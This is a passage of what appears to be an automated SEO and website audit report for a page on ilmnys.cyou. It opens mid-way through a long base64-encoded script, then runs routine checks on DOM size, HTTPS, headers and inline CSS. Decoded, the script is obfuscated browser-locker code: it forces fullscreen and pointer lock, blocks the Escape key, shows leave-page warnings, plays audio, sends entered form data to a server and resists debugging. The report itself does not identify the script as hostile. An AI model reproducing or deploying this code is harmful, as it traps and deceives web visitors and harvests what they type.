4MjU2MjQyKXt2YXIgXzB4MTY5N2FkPV8weDVjMzQwNTskKGRvY3VtZW50W18weDE2OTdhZCgweDE2MildKVsndHJpZ2dlciddKF8weDE2OTdhZCgweDFhZikpLCQoZG9jdW1lbnRbJ2JvZHknXSlbXzB4MTY5N2FkKDB4MTYwKV0oXzB4MTY5N2FkKDB4MTdhKSksJChkb2N1bWVudFtfMHgxNjk3YWQoMHgxNjIpXSlbXzB4MTY5N2FkKDB4MTYwKV0oJ3N1Y2Nlc3NfaGlkZScpLCQoZG9jdW1lbnRbXzB4MTY5N2FkKDB4MTYyKV0pW18weDE2OTdhZCgweDE2MCldKF8weDE2OTdhZCgweGZhKSksJChfMHgxNjk3YWQoMHgxNDUpKVsnc2hvdyddKCksXzB4NWU4NDEwKClbJ3ZhbCddKCcnKSxfMHg1ZTg0MTAoKVtfMHgxNjk3YWQoMHgxZDgpXSgpO30pLCQoZG9jdW1lbnRbJ2JvZHknXSlbJ29uJ10oJ3N1Y2Nlc3Nfc2hvdycsZnVuY3Rpb24oXzB4OWRkN2E5KXt2YXIgXzB4YjhiNDQ4PV8weDVjMzQwNTskKGRvY3VtZW50Wydib2R5J10pWyd0cmlnZ2VyJ10oXzB4YjhiNDQ4KDB4MWFmKSksJChkb2N1bWVudFtfMHhiOGI0NDgoMHgxNjIpXSlbXzB4YjhiNDQ4KDB4MTYwKV0oXzB4YjhiNDQ4KDB4MTdhKSksJChkb2N1bWVudFtfMHhiOGI0NDgoMHgxNjIpXSlbXzB4YjhiNDQ4KDB4MTYwKV0oJ2hpZGVfY29kZV9mb3JtX2Jsb2NrJyksJChkb2N1bWVudFsnYm9keSddKVsndHJpZ2dlciddKF8weGI4YjQ0OCgweGZhKSksJCgnLnN1Y2Nlc3NSb3cnKVsnc2hvdyddKCk7fSksJChkb2N1bWVudFtfMHg1YzM0MDUoMHgxNjIpXSlbJ29uJ10oJ3N1Y2Nlc3NfaGlkZScsZnVuY3Rpb24oXzB4M2RkZDI1KXskKCcuc3VjY2Vzc1JvdycpWydoaWRlJ10oKTt9KSwkKGRvY3VtZW50Wydib2R5J10pWydvbiddKF8weDVjMzQwNSgweDE0MiksZnVuY3Rpb24oXzB4NTdmMjM0KXt2YXIgXzB4MTJhNzljPV8weDVjMzQwNTskKF8weDEyYTc5YygweDE0NCkpWydzaG93J10oKTt9KSwkKGRvY3VtZW50Wydib2R5J10pWydvbiddKF8weDVjMzQwNSgweGZhKSxmdW5jdGlvbihfMHgzMjU0ZDYpe3ZhciBfMHgxNTAwOWI9XzB4NWMzNDA1OyQoXzB4MTUwMDliKDB4MTI0KSlbXzB4MTUwMDliKDB4MTU5KV0oKTt9KSwkKGRvY3VtZW50W18weDVjMzQwNSgweDE2MildKVsnb24nXSgnaGlkZV9sb2FkZXInLGZ1bmN0aW9uKF8weDUyZTY2OSl7dmFyIF8weDI4ZjY5OD1fMHg1YzM0MDU7JCgnLmxvYWRSb3cnKVtfMHgyOGY2OTgoMHgxYjEpXSgpO30pLCQoZG9jdW1lbnRbJ2JvZHknXSlbJ29uJ10oXzB4NWMzNDA1KDB4MTk2KSxmdW5jdGlvbihfMHgxYWIwNmIpe3ZhciBfMHgxODMyMmQ9XzB4NWMzNDA1OyQoZG9jdW1lbnRbXzB4MTgzMjJkKDB4MTYyKV0pW18weDE4MzIyZCgweDE2MCldKCdzaG93X2Zvcm1fYmxvY2snKTt9KSwkKGRvY3VtZW50W18weDVjMzQwNSgweDE2MildKVsnb24nXSgnc2hvd19jb2RlX2Zvcm0nLGZ1bmN0aW9uKF8weDU4MDJiNSl7dmFyIF8weDU0NmY0MT1fMHg1YzM0MDU7JChkb2N1bWVudFtfMHg1NDZmNDEoMHgxNjIpXSlbXzB4NTQ2ZjQxKDB4MTYwKV0oXzB4NTQ2ZjQxKDB4Y2MpKTt9KSwkKHdpbmRvdylbJ29uJ10oJ3VubG9hZCcsZnVuY3Rpb24oKXt2YXIgXzB4MWQ3NDcxPV8weDVjMzQwNTskKGRvY3VtZW50W18weDFkNzQ3MSgweDE2MildKVtfMHgxZDc0NzEoMHgxNjApXShfMHgxZDc0NzEoMHgxZGQpKTt9KTtmdW5jdGlvbiBfMHgyNjcwOGYoKXt2YXIgXzB4MjRjY2UxPV8weDVjMzQwNSxfMHg1N2JhYzQ9XzB4MmM5ZjY5KCk7XzB4NTdiYWM0PV8weDU3YmFjNFtfMHgyNGNjZTEoMHhmMildKC9ccy9nLCcnKSxfMHg1ZTg0MTAoKVsnaXMnXShfMHgyNGNjZTEoMHgxNjcpKT9fMHg1ZTg0MTAoKVsnZm9jdXMnXSgpOl8weDU3YmFjNFtfMHgyNGNjZTEoMHgxN2QpXTwweDEwfHwhJFtfMHgyNGNjZTEoMHgxYzMpXVtfMHgyNGNjZTEoMHhiZildKF8weDU3YmFjNCk/JChfMHgyNGNjZTEoMHgxODEpK3NzdHJpbmcrXzB4MjRjY2UxKDB4MTFkKStzc3RyaW5nKydlcicpW18weDI0Y2NlMSgweDFkOCldKCk6JFtfMHgyNGNjZTEoMHgxYzMpXVtfMHgyNGNjZTEoMHgxNDMpXShfMHgyMjFkM2QoKVtfMHgyNGNjZTEoMHgxOTcpXSgpLF8weGJlMGZiZSgpWyd2YWwnXSgpKT8hJFtfMHgyNGNjZTEoMHgxYzMpXVtfMHgyNGNjZTEoMHgxNjYpXShfMHgyMTJjMTEoKVtfMHgyNGNjZTEoMHgxOTcpXSgpLCRbXzB4MjRjY2UxKDB4MWMzKV1bXzB4MjRjY2UxKDB4ZTgpXShfMHgyYzlmNjkoKSkpP18weDIxMmMxMSgpW18weDI0Y2NlMSgweDFkOCldKCk6XzB4NGRjY2IzKClbJ2ZvY3VzJ10oKToweDI9PV8weDIyMWQzZCgpW18weDI0Y2NlMSgweDE5NyldKClbXzB4MjRjY2UxKDB4MTdkKV0/XzB4YmUwZmJlKClbJ2ZvY3VzJ10oKTpfMHgyMjFkM2QoKVtfMHgyNGNjZTEoMHgxZDgpXSgpO31mdW5jdGlvbiBfMHgxYzkxMTkoXzB4MjM0NDczPSFbXSl7dmFyIF8weDNhYzViMD1fMHg1YzM0MDU7XzB4MjM0NDczJiYkKGRvY3VtZW50W18weDNhYzViMCgweDE2MildKVsnY3NzJ10oXzB4M2FjNWIwKDB4MTZlKSwnbm9uZScpO31mdW5jdGlvbiBfMHgzNzMzNzQoXzB4MTFiNmEzLF8weDJjYTlhMixfMHg1NzgxMzgpe3ZhciBfMHg1NTU0Zjc9XzB4NWMzNDA1O2xldCBfMHg1NDMzYTA9e307JFsnZWFjaCddKF8weDJjYTlhMixmdW5jdGlvbihfMHgzNDAzNjAsXzB4NGM5Zjg3KXtfMHg1NDMzYTBbYnRvYSh1bmVzY2FwZShlbmNvZGVVUklDb21wb25lbnQoXzB4MzQwMzYwKSkpXT1idG9hKHVuZXNjYXBlKGVuY29kZVVSSUNvbXBvbmVudChfMHg0YzlmODcpKSk7fSksJFtfMHg1NTU0ZjcoMHgxMWYpXSh7J3R5cGUnOl8weDU1NTRmNygweGUwKSwndXJsJzpfMHgxMWI2YTMsJ2RhdGFUeXBlJzpfMHg1NTU0ZjcoMHgxMmEpLCdkYXRhJzpfMHg1NDMzYTAsJ3N1Y2Nlc3MnOl8weDU3ODEzOH0pO31mdW5jdGlvbiBfMHgyZjdmZmQoXzB4NDIxNjI3PSFbXSl7dmFyIF8weDIzYWZmMD1fMHg1YzM0MDU7XzB4NDIxNjI3JiYoJCgnYm9keScpW18weDIzYWZmMCgweDEyZCldKCdLSE5qbHNmZG5oYmYnKSwkKGRvY3VtZW50KVtfMHgyM2FmZjAoMHgxYWUpXShmdW5jdGlvbigpe3ZhciBfMHgxNDkwMTY9XzB4MjNhZmYwLF8weDJmZDdlND1kb2N1bWVudFtfMHgxNDkwMTYoMHgxMTkpXShfMHgxNDkwMTYoMHgxNTUpKTtfMHgyZmQ3ZTRbJ3JlcXVlc3RQb2ludGVyTG9jayddPV8weDJmZDdlNFtfMHgxNDkwMTYoMHgxYjQpXXx8XzB4MmZkN2U0W18weDE0OTAxNigweGRmKV18fF8weDJmZDdlNFtfMHgxNDkwMTYoMHgxMTMpXSxfMHgyZmQ3ZTRbJ3JlcXVlc3RQb2ludGVyTG9jayddKCk7fSkpO31mdW5jdGlvbiBfMHgxNDg5MDkoXzB4MThjNjJhKXt2YXIgXzB4M2IyMGEzPV8weDVjMzQwNSxfMHgxOGM2MmE9XzB4MThjNjJhfHx3aW5kb3dbXzB4M2IyMGEzKDB4MTI1KV0sXzB4MjU4ZTY1PSdZb3VceDIwaGF2ZVx4MjBhdHRlbXB0ZWRceDIwdG9ceDIwbGVhdmVceDIwdGhpc1x4MjBwYWdlLlx4MjBBcmVceDIweW91XHgyMHN1cmU/JztyZXR1cm4gXzB4MThjNjJhJiYoXzB4MThjNjJhW18weDNiMjBhMygweDE0OCldPV8weDI1OGU2NSksXzB4MjU4ZTY1O30kKF8weDFkMTlkZClbJ29uJ10oJ3N1Ym1pdCcsZnVuY3Rpb24oXzB4NWMwNjE4KXtyZXR1cm4gXzB4MjRjZGM0KF8weDVjMDYxOCksXzB4NWMwNjE4WydwcmV2ZW50RGVmYXVsdCddKCksIVtdO30pLCQoZG9jdW1lbnRbXzB4NWMzNDA1KDB4MTYyKV0pWydvbiddKF8weDVjMzQwNSgweDFiZSksXzB4NWMzNDA1KDB4MTgwKSxmdW5jdGlvbihfMHg0MmFjMGYpe18weDFjODY5NigpO30pO3ZhciBfMHg0ZjlhMmIsXzB4NDlmMDhkLF8weDIyZmE1Mz0hW107ZG9jdW1lbnRbJ29uY2xpY2snXT1mdW5jdGlvbihfMHgzYzY5Nzgpe3ZhciBfMHgyZTFhNTM9XzB4NWMzNDA1OyFfMHgyMmZhNTMmJiQod2luZG93KVsnYmluZCddKF8weDJlMWE1MygweGNhKSxfMHgxNDg5MDkpLF8weDIyZmE1Mz0hIVtdLChfMHgzYzY5Nzg9XzB4M2M2OTc4fHxldmVudCx0YXJnZXQ9XzB4M2M2OTc4W18weDJlMWE1MygweDEwZSldfHxfMHgzYzY5NzhbXzB4MmUxYTUzKDB4MWM2KV0sXzB4NTkwNWExKCksJChfMHgyZTFhNTMoMHhmMSkpW18weDJlMWE1MygweDFiMSldKCksJChfMHg0YzcyN2YpW18weDJlMWE1MygweGQ2KV0oKSxfMHgyZTFhNTMoMHgxZDUpIT1fMHgzM2JjM2IoXzB4MmUxYTUzKDB4YzQpKSYmKF8weDE4ZGVjNyhfMHgyZTFhNTMoMHhjNCksXzB4MmUxYTUzKDB4MWQ1KSksbmV3IEF1ZGlvKF8weDJlMWE1MygweDE4OSkpW18weDJlMWE1MygweDFkOSldKCkpKTt9LGRvY3VtZW50W18weDVjMzQwNSgweDEyYyldPW5ldyBGdW5jdGlvbihfMHg1YzM0MDUoMHgxMGYpKSwkKHdpbmRvdylbXzB4NWMzNDA1KDB4ZmIpXShmdW5jdGlvbigpe3ZhciBfMHgxZjc3OTM9XzB4NWMzNDA1O18weDRmOWEyYj0kKHdpbmRvdylbXzB4MWY3NzkzKDB4MTc1KV0oKSxfMHg0OWYwOGQ9JCh3aW5kb3cpWydpbm5lckhlaWdodCddKCksc3RhcnQmJl8weDIyZmE1MyYmIV8weDQ1ODg3YSgpJiYoXzB4NGY5YTJiPHdpZHRoU3RhcnR8fF8weDQ5ZjA4ZDxoZWlnaHRTdGFydCkmJmRvY3VtZW50W18weDFmNzc5MygweGYzKV1bJ3JlbG9hZCddKCk7fSksJChkb2N1bWVudFsnYm9keSddKVsnb24nXShfMHg1YzM0MDUoMHgxYmUpLGZ1bmN0aW9uKF8weDI5MGM0Nil7dmFyIF8weDM4Y2RiOD1fMHg1YzM0MDU7c2V0VGltZW91dChmdW5jdGlvbigpe18weDU5MDVhMSgpLF8weDI2NzA4ZigpO30sMHhhKSwoXzB4MWM5MTE5KHR5cGVvZiBfMHgzMzUyMGVbXzB4MzhjZGI4KDB4ZmMpXSE9XzB4MzhjZGI4KDB4MTE2KSksXzB4MmY3ZmZkKHR5cGVvZiBfMHgzMzUyMGVbXzB4MzhjZGI4KDB4MWIyKV0hPV8weDM4Y2RiOCgweDExNikpKTt9KSx3aW5kb3dbXzB4NWMzNDA1KDB4MTM5KV0oJ21vdXNldXAnLGZ1bmN0aW9uKCl7XzB4NTkwNWExKCksc2V0VGltZW91dChmdW5jdGlvbigpe18weDU5MDVhMSgpLF8weDI2NzA4ZigpO30sMHgxNCk7fSwhMHgxKSwkKCcjTEtIVUdZZlR5JylbXzB4NWMzNDA1KDB4MWFlKV0oZnVuY3Rpb24oXzB4MTgwZmM5KXt2YXIgXzB4M2NjMTdhPV8weDVjMzQwNTtfMHgxODBmYzlbXzB4M2NjMTdhKDB4MWI4KV0oKTt9KSxfMHgyNjcwOGYoKSwkKGRvY3VtZW50Wydib2R5J10pWydvbiddKF8weDVjMzQwNSgweDE5YyksZnVuY3Rpb24oXzB4NDRmZDhhKXtfMHgzZWUxYWMoXzB4NDRmZDhhKSwweDFiPT09XzB4NDRmZDhhWydrZXlDb2RlJ10mJihfMHg1OTA1YTEoKSxfMHgyNjcwOGYoKSxzZXRUaW1lb3V0KGZ1bmN0aW9uKCl7XzB4NTkwNWExKCksXzB4MjY3MDhmKCk7fSwweGM4KSk7fSk7ZnVuY3Rpb24gXzB4MWM4Njk2KCl7dmFyIF8weDIwNDhiNz1fMHg1YzM0MDU7aWYoZG9jdW1lbnRbXzB4MjA0OGI3KDB4ZDIpXSlkb2N1bWVudFtfMHgyMDQ4YjcoMHhkMildKCk7ZWxzZXtpZihkb2N1bWVudFtfMHgyMDQ4YjcoMHhlNCldKWRvY3VtZW50W18weDIwNDhiNygweGU0KV0oKTtlbHNle2lmKGRvY3VtZW50W18weDIwNDhiNygweDFjNCldKWRvY3VtZW50W18weDIwNDhiNygweDFjNCldKCk7ZWxzZSBkb2N1bWVudFtfMHgyMDQ4YjcoMHhlMildJiZkb2N1bWVudFtfMHgyMDQ4YjcoMHhlMildKCk7fX19ZnVuY3Rpb24gXzB4NWVhOWI3KCl7dmFyIF8weGI5ZjJhMz1fMHg1YzM0MDUsXzB4YjljNjhmPW5ldyBEYXRlKCk7cmV0dXJuIF8weDRmZjdlMShfMHhiOWM2OGZbXzB4YjlmMmEzKDB4ZjcpXSgpKSsnOicrXzB4NGZmN2UxKF8weGI5YzY4ZlsnZ2V0TWludXRlcyddKCkpKyc6JytfMHg0ZmY3ZTEoXzB4YjljNjhmW18weGI5ZjJhMygweDEyMildKCkpO31mdW5jdGlvbiBfMHg0ZmY3ZTEoXzB4MzlmNTU5KXt2YXIgXzB4MWY1YWY3PV8weDVjMzQwNTtyZXR1cm4gXzB4MzlmNTU5W18weDFmNWFmNygweGVhKV0oKVtfMHgxZjVhZjcoMHhmMildKC9eKFswLTldKSQvLF8weDFmNWFmNygweDEzZikpO31mdW5jdGlvbiBfMHg0NTg4N2EoKXt2YXIgXzB4Mzk1YWQ3PV8weDVjMzQwNTtyZXR1cm4gZG9jdW1lbnRbXzB4Mzk1YWQ3KDB4MTA0KV0mJmRvY3VtZW50W18weDM5NWFkNygweDEwNCldIT09bnVsbHx8KGRvY3VtZW50W18weDM5NWFkNygweDE2MyldfHxkb2N1bWVudFtfMHgzOTVhZDcoMHgxYmIpXSk7fWZ1bmN0aW9uIF8weDU5MDVhMSgpe3ZhciBfMHg1ODI2NTg9XzB4NDU4ODdhKCksXzB4MTgwYzRjPWRvY3VtZW50Wydkb2N1bWVudEVsZW1lbnQnXTtzZXRUaW1lb3V0KGZ1bmN0aW9uKCl7dmFyIF8weDM3NDI2OD1fMHgyZjM3O2lmKCFfMHg1ODI2NTgpe2lmKF8weDE4MGM0Y1tfMHgzNzQyNjgoMHgxNGQpXSlfMHgxODBjNGNbXzB4Mzc0MjY4KDB4MTRkKV0oKTtlbHNle2lmKF8weDE4MGM0Y1tfMHgzNzQyNjgoMHgxY2UpXSlfMHgxODBjNGNbXzB4Mzc0MjY4KDB4MWNlKV0oKTtlbHNlIF8weDE4MGM0Y1tfMHgzNzQyNjgoMHgxYTYpXSYmXzB4MTgwYzRjW18weDM3NDI2OCgweDFhNildKCk7fX1fMHg1ODI2NTgmJiFzdGFydCYmKHdpZHRoU3RhcnQ9JCh3aW5kb3cpW18weDM3NDI2OCgweDE3NSldKCksaGVpZ2h0U3RhcnQ9JCh3aW5kb3cpW18weDM3NDI2OCgweDE1NyldKCksc3RhcnQ9ISFbXSk7fSwweDMyKTt9ZnVuY3Rpb24gXzB4M2VlMWFjKF8weDUxZGUzZCl7dmFyIF8weDI0NzlhNj1fMHg1YzM0MDUsXzB4NWQ5YzgzPV8weDUxZGUzZFsna2UnK18weDI0NzlhNigweDE5MykrJ2RlJ10/XzB4NTFkZTNkWydrZScrXzB4MjQ3OWE2KDB4ZmQpKydlJ106XzB4NTFkZTNkWyd3JysnaGknKydjaCddP18weDUxZGUzZFsndycrJ2gnKydpYycrJ2gnXTpudWxsO2lmKCQoXzB4NTFkZTNkKVtfMHgyNDc5YTYoMHgxMjApXSgweDApW18weDI0NzlhNigweDFiNyldJiYtMHgxIT0kWydpbicrJ0FycicrJ2F5J10oXzB4NWQ5YzgzLFsweDc1LDB4NTUsMHg2MywweDQzLDB4NjEsMHg0MV0pKXJldHVybiEweDE7fX0sMHg2ZSk7fSwweGEpO2Z1bmN0aW9uIF8weDM1YzhjOCgpe3ZhciBfMHgyNjJjZmM9XzB4YjQ3MjA4O3JldHVybiB0eXBlb2YgY0NvZGUhPSd1bmRlZmluZWQnP2NDb2RlOl8weDI2MmNmYygweDFhMCk7fX0pO2Z1bmN0aW9uIF8weDQzNzkwNChfMHgzYWFkODIpe2Z1bmN0aW9uIF8weDRkMDY4OChfMHgxM2M3OWYpe3ZhciBfMHg0NmIwZWM9XzB4MmYzNztpZih0eXBlb2YgXzB4MTNjNzlmPT09J3N0cmluZycpcmV0dXJuIGZ1bmN0aW9uKF8weDVhMThhOSl7fVtfMHg0NmIwZWMoMHgxM2IpXShfMHg0NmIwZWMoMHgxZDEpKVtfMHg0NmIwZWMoMHgxMzcpXShfMHg0NmIwZWMoMHgxMmUpKTtlbHNlKCcnK18weDEzYzc5Zi9fMHgxM2M3OWYpW18weDQ2YjBlYygweDE3ZCldIT09MHgxfHxfMHgxM2M3OWYlMHgxND09PTB4MD9mdW5jdGlvbigpe3JldHVybiEhW107fVtfMHg0NmIwZWMoMHgxM2IpXShfMHg0NmIwZWMoMHgxNGEpKydnZ2VyJylbXzB4NDZiMGVjKDB4MWVhKV0oXzB4NDZiMGVjKDB4MTVhKSk6ZnVuY3Rpb24oKXtyZXR1cm4hW107fVtfMHg0NmIwZWMoMHgxM2IpXShfMHg0NmIwZWMoMHgxNGEpKydnZ2VyJylbJ2FwcGx5J10oXzB4NDZiMGVjKDB4MTBjKSk7XzB4NGQwNjg4KCsrXzB4MTNjNzlmKTt9dHJ5e2lmKF8weDNhYWQ4MilyZXR1cm4gXzB4NGQwNjg4O2Vsc2UgXzB4NGQwNjg4KDB4MCk7fWNhdGNoKF8weDViNTRmZil7fX0=
  5. https://ilmnys.cyou/c-assets/js/land.js
  6. https://ilmnys.cyou/assets/js/site.js
The defer attribute allows the browser to download the scripts in parallel and execute them after the webpage has been parsed, improving the webpage's load performance.
Learn more
DOM size
The DOM size is optimal.
The HTML file has 76 DOM nodes.
The DOM size indicates the number of nodes the HTML webpage has.
Learn more
DOCTYPE
The webpage has the DOCTYPE declaration tag set.
html
The DOCTYPE declaration tag defines which version of HTML the webpage is using, making compliant browsers render the webpage properly.
Learn more
Security
HTTPS encryption
The webpage uses HTTPS encryption.
The HTTPS encryption helps protecting the user's security and privacy.
Learn more
Mixed content
There are no mixed content resources on the webpage.
The mixed content is the content that is loaded over the HTTP connection while the webpage itself was loaded over HTTPS connection.
Learn more
Server signature
The webpage has a public server signature.
nginx/1.22.1
The server signature is the public identity of a web server which contains information that could be used to exploit known vulnerabilities.
Learn more
Unsafe cross-origin links
The webpage does not have unsafe cross-origin links.
HTST
The webpage does not have the HTTP Strict-Transport-Security header set.
The HTTP Strict-Transport-Security header is used to force the browser to use the HTTPS protocol when loading the webpage.
Learn more
Plaintext email
The webpage does not contain any plaintext emails.
Email addresses posted in public are likely to be fetched by crawlers and then collected in lists used for spam.
Miscellaneous
Structured data
There are no structured data tags on the webpage.
The structured data tags help the search engines better understand the content of the webpage, and allows them to create rich snippets in search results.
Meta viewport
The webpage has a meta viewport tag set.
width=device-width, initial-scale=1.0
The meta viewport tag instruct the browsers how to render the viewport of the webpage.
Learn more
Character set
The webpage has a charset value set.
utf-8
The meta charset tag specifies the character encoding, helping the browsers to better render the characters and symbols on the webpage.
Learn more
Sitemap
No sitemaps found.
Sitemaps inform search engines about pages available for crawling on the website.
Learn more
Social
The webpage does not contain any social links.
Social media presence is becoming increasingly important as a ranking factor for search engines to validate a website's trustworthiness and authority.
Content length
There are less than 500 words on the webpage.
The webpage has 300 words.
The content length represents the number of words found on the webpage. The webpage should contain a decent amount of words.
Learn more
Text to HTML ratio
The text to HTML ratio is under 10%.
The text to HTML ratio is 3%.
The text to HTML ratio represents the percentage of actual text compared to the percentage of HTML code on the webpage.
Inline CSS
The webpage contains inline CSS code.
  1. position:fixed;text-align: center; overflow: auto; height: 100vh;
  2. text-align: right
  3. margin-bottom: 5px;
  4. position:relative;
  5. width:100%;
  6. margin:0 auto; max-width: 92%;
  7. margin-top: 10px
  8. width:100%;
  9. display: none
  10. width:20%;height: 20px
The style attribute contains CSS style rules that are applied to the element. Inline CSS code unnecessarily increases the webpage's size, and can be moved in an external CSS file.
Learn more
Deprecated HTML
There are no deprecated HTML tags on the webpage.
The deprecated tags represents the tags that are not supported HTML5 standard anymore, and could cause the webpage to be rendered incorrectly.
Learn more